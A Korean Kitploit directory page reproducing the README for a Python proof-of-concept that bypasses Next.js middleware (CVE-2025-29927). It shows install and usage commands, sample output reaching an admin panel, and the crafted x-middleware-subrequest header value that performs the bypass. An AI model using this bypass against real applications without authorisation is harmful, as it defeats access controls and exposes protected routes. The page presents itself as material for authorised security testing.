Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PoC-for-Next.js-Middleware — > 🔓 가상의 Next.js 미들웨어 우회(CVE-2025-29927)를 위한 개념 증명 — 보호된 라우트를 테스트하기 위한 하위 요청 제작 | Kitploit
도구/GitHubGitHub/m2hcz/poc-for-next.js-middleware
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubm2hcz/poc-for-next.js-middleware

PoC-for-Next.js-Middleware

> 🔓 가상의 Next.js 미들웨어 우회(CVE-2025-29927)를 위한 개념 증명 — 보호된 라우트를 테스트하기 위한 하위 요청 제작

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Next.js 미들웨어 우회 PoC (CVE-2025-29927)

Python Version Status

이것은 가상의 Next.js 미들웨어 우회 취약점(CVE-2025-29927)에 대한 개념 증명입니다. 교육 및 승인된 보안 연구 목적으로만 사용하세요.


🚀 기능

기능설명
✨ 색상 및 상세색상 코드 출력; -v로 상세 디버그 로그.
📦 OOP 구조명확성과 유지보수성을 위한 클래스 기반 설계.
🌐 프록시 지원--proxy를 통해 HTTP(S) 프록시로 트래픽 라우팅.
🍪 세션 처리쿠키 및 연결 재사용을 위한 지속적 requests.Session.
🚦 리디렉션 제어기본적으로 리디렉션 미추종; 통과/실패 명확히 감지.
🛠 사용자 헤더User-Agent, x-middleware-subrequest 재정의 또는 헤더 추가.

⚡ 설치

root@kitploit:~
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc

# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate

# Install dependencies
pip install -r requirements.txt

필요 사항 Python 3.7+


🎯 사용법

root@kitploit:~
python poc.py [options] <host>[:port]

🔍 예제

1. 기본 테스트

root@kitploit:~
python poc.py localhost:3000

2. HTTPS 및 사용자 정의 경로

root@kitploit:~
python poc.py example.com -s https -p /dashboard

3. 프록시 및 상세 모드

root@kitploit:~
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v

✅ 예상 출력

성공

root@kitploit:~
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…

실패

root@kitploit:~
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)
도구 다운로드
옵션설명
-p, --path PATH보호된 라우트 경로 (기본값: /admin)
-s, --scheme {http,https}프로토콜 (기본값: http)
--header HEADERx-middleware-subrequest 헤더 값 (기본값: middleware:middleware)
-ua, --user-agent AGENT사용자 정의 User-Agent (기본값: Mozilla/5.0)
--proxy PROXYHTTP(S) 프록시 URL (예: http://127.0.0.1:8080)
-v, --verbose디버그 출력 활성화
-h, --help이 도움말 메시지 표시